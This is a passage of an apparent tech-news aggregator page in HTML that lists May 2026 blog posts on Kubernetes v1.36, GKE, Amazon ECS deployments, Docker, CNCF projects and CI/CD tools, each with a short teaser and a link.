        </h3><p>Volume group snapshots were introduced as an Alpha feature with the Kubernetes v1.27 release, moved to Beta in v1.32, and to a second Beta in v1.34. We are excited to announce that in the Kubernetes v</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/08/kubernetes-v1-36-volume-group-snapshot-ga/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency" class="group relative scroll-mt-24">
        <a href="#h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 With faster node startup for GKE, say goodbye to cold-start latency
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-with-faster-node-startup-for-gke-say-goodbye-to-cold-start-latency"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We’ve rolled out a significant update to Google Kubernetes Engine (GKE) that solves one of the most annoying problems in cloud infrastructure: cold start latency. GKE now has up to 4x faster node star</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/containers-kubernetes/gke-node-startup-gets-faster/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies" class="group relative scroll-mt-24">
        <a href="#h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gradual deployments in Amazon ECS with linear and canary strategies
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we walk through how linear and canary strategies work in Amazon ECS, how to configure each, and how to set up automatic rollbacks with CloudWatch alarms.</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/gradual-deployments-in-amazon-ecs-with-linear-and-canary-strategies/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes" class="group relative scroll-mt-24">
        <a href="#h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Benchmarking AI agent retrieval strategies on Kubernetes bug fixes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’ve been using AI coding agents as part of my daily engineering workflow and wanted to understand how well they actually perform on real-world bugs. To test this, I ran a series of structured experim</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/08/benchmarking-ai-agent-retrieval-strategies-on-kubernetes-bug-fixes/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik" class="group relative scroll-mt-24">
        <a href="#h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Create an Ingress with Basic Authentication for SUSE Storage Using Traefik
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you install SUSE Storage on a Kubernetes cluster with kubectl or Helm, you need to create an Ingress so external traffic can reach the SUSE Storage UI. Authentication is not enabled by default when</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 SUSE Blog</strong></p>
<p><a href="https://www.suse.com/c/create-an-ingress-with-basic-authentication-for-suse-storage-using-traefik/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks" class="group relative scroll-mt-24">
        <a href="#h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitOps with IBM Kubecost: Preventing Argo CD Rollbacks
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Introduction Over-provisioned containers are one of the quietest budget leaks in Kubernetes. Pods requesting 512Mi of RAM but using 20Mi. CPU requests of 500m with actual consumption around 10m. Multi</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Kubecost Blog</strong></p>
<p><a href="https://www.apptio.com/blog/gitops-with-ibm-kubecost-preventing-argo-cd-rollbacks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-learn-openshift-virtualization-8-resources-to-help-you-get-started" class="group relative scroll-mt-24">
        <a href="#h3-learn-openshift-virtualization-8-resources-to-help-you-get-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Learn OpenShift Virtualization: 8 resources to help you get started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-learn-openshift-virtualization-8-resources-to-help-you-get-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Red Hat OpenShift Virtualization, a native feature included with Red Hat OpenShift, lets you migrate your virtual machine (VM) workloads from your legacy virtualization platform to a modern, consisten</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/learn-openshift-virtualization"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra" class="group relative scroll-mt-24">
        <a href="#h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Kubernetes v1.36: More Drivers, New Features, and the Next Era of DRA
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-kubernetes-v136-more-drivers-new-features-and-the-next-era-of-dra"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dynamic Resource Allocation (DRA) has fundamentally changed how platform administrators handle hardware accelerators and specialized resources in Kubernetes. In the v1.36 release, DRA continues to mat</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Kubernetes Blog</strong></p>
<p><a href="https://kubernetes.io/blog/2026/05/07/kubernetes-v1-36-dra-136-updates/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gke-turns-10-hackathon-with-amie-wei" class="group relative scroll-mt-24">
        <a href="#h3-gke-turns-10-hackathon-with-amie-wei" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GKE Turns 10 Hackathon, with Amie Wei
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gke-turns-10-hackathon-with-amie-wei"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amie Wei is a Sr. Solutions Engineer at HashiCorp and was the winner of last year&#39;s GKE Turns 10 Hackathon. It was Amie&#39;s first time entering a hackathon and she ended up bringing the prize home with </p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Kubernetes Podcast</strong></p>
<p><a href="https://e780d51f-f115-44a6-8252-aed9216bb521.libsyn.com/gke-turns-10-hackathon-with-amie-wei"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Virtualization at full speed ahead of Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-virtualization-at-full-speed-ahead-of-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you&#39;re starting to rethink how you run virtualization workloads at your organization, you&#39;re not alone. Rising licensing costs, the pressure to apply AI, and a need to integrate services are inspir</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/virtualization-full-speed-ahead-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cloud-native" class="group relative scroll-mt-24">
        <a href="#h2-cloud-native" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          ☁️ Cloud Native
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cloud-native"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-comparing-different-approaches-to-sandboxing" class="group relative scroll-mt-24">
        <a href="#h3-comparing-different-approaches-to-sandboxing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Comparing Different Approaches to Sandboxing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-comparing-different-approaches-to-sandboxing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Whether you are a software engineer, a product manager, or a designer, this quote should fundamentally change how we approach our daily routine. We are no longer just building interfaces; we are creat</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/comparing-sandboxing-approaches-ai-agents/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-microcks-becomes-a-cncf-incubating-project" class="group relative scroll-mt-24">
        <a href="#h3-microcks-becomes-a-cncf-incubating-project" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Microcks becomes a CNCF incubating project
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-microcks-becomes-a-cncf-incubating-project"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The CNCF Technical Oversight Committee (TOC) has voted to accept Microcks as a CNCF incubating project. About Microcks Modern software teams build applications as collections of interconnected APIs an</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/07/microcks-becomes-a-cncf-incubating-project/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-q1-2026-harness-cd-gitops-product-update" class="group relative scroll-mt-24">
        <a href="#h3-q1-2026-harness-cd-gitops-product-update" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Q1 2026: Harness CD & GitOps Product Update
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-q1-2026-harness-cd-gitops-product-update"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Q1 2026 brings AI Verify for zero-config deployment health analysis, Azure Container Apps support, Windows deployment performance, and enhanced GitOps workflows to Harness CD. | Blog</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/q1-2026-product-update-harness-continuous-delivery-gitops"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks" class="group relative scroll-mt-24">
        <a href="#h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The tools are ready. So why are most cloud native teams still running three observability stacks?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>I’ve spent enough time in and around cloud native infrastructure to know that we’re reasonably good at standardizing the theory. OpenTelemetry for instrumentation, Prometheus for metrics, Jaeger and T</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/05/06/the-tools-are-ready-so-why-are-most-cloud-native-teams-still-running-three-observability-stacks/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-zabbix-and-the-docker-api-part-3-control" class="group relative scroll-mt-24">
        <a href="#h3-zabbix-and-the-docker-api-part-3-control" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Zabbix and the Docker API, Part 3: Control
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-zabbix-and-the-docker-api-part-3-control"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this blog post, you will learn how to add a simple container remote control capability to Zabbix in order to start, stop, or restart containers from within the discovered host. You might be wonderi</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 Zabbix Blog</strong></p>
<p><a href="https://blog.zabbix.com/zabbix-and-the-docker-api-part-3-control/32961/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-generate-images-locally-with-docker-model-runner-and-open-webui" class="group relative scroll-mt-24">
        <a href="#h3-generate-images-locally-with-docker-model-runner-and-open-webui" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Generate Images Locally with Docker Model Runner and Open WebUI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-generate-images-locally-with-docker-model-runner-and-open-webui"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;ve all been there: you need to generate a few images for a project, you fire up an AI image service, and suddenly you&#39;re wondering what happens to your prompts, how many credits you have left, or w</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/blog-generate-images-locally-dmr-open-webui/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-precision-container-security-with-docker-and-black-duck" class="group relative scroll-mt-24">
        <a href="#h3-precision-container-security-with-docker-and-black-duck" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Precision Container Security with Docker and Black Duck
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-precision-container-security-with-docker-and-black-duck"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The complexity of modern containerized applications often leaves developers drowning in a sea of &quot;noise&quot;—vulnerabilities that exist in the file system but pose zero actual risk to the application. The</p>
<p><strong>📅 May 5, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/precision-container-security-with-docker-and-black-duck/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-cicd" class="group relative scroll-mt-24">
        <a href="#h2-cicd" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔄 CI/CD
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-cicd"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension" class="group relative scroll-mt-24">
        <a href="#h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Ship code within minutes with the Gemini CLI DevOps Extension
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ship-code-within-minutes-with-the-gemini-cli-devops-extension"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>With AI coding tools like Antigravity and Claude Code, I can build a working web app in record time. But deploying it? That&#39;s where I&#39;d historically lose the rest of the afternoon to Dockerfiles, IAM </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/topics/developers-practitioners/ship-code-within-minutes-with-the-gemini-cli-devops-extension/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-age-assurance-laws-matter-for-developers" class="group relative scroll-mt-24">
        <a href="#h3-why-age-assurance-laws-matter-for-developers" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why age assurance laws matter for developers
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-age-assurance-laws-matter-for-developers"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Youth safety requirements are moving down the tech stack to operating systems and app stores—raising new questions for open source developers. The post Why age assurance laws matter for developers app</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/policy-news-and-insights/why-age-assurance-laws-matter-for-developers/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations" class="group relative scroll-mt-24">
        <a href="#h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How researchers are using GitHub Innovation Graph data to reveal the “digital complexity” of nations
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-researchers-are-using-github-innovation-graph-data-to-reveal-the-digital-complexity-of-nations"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
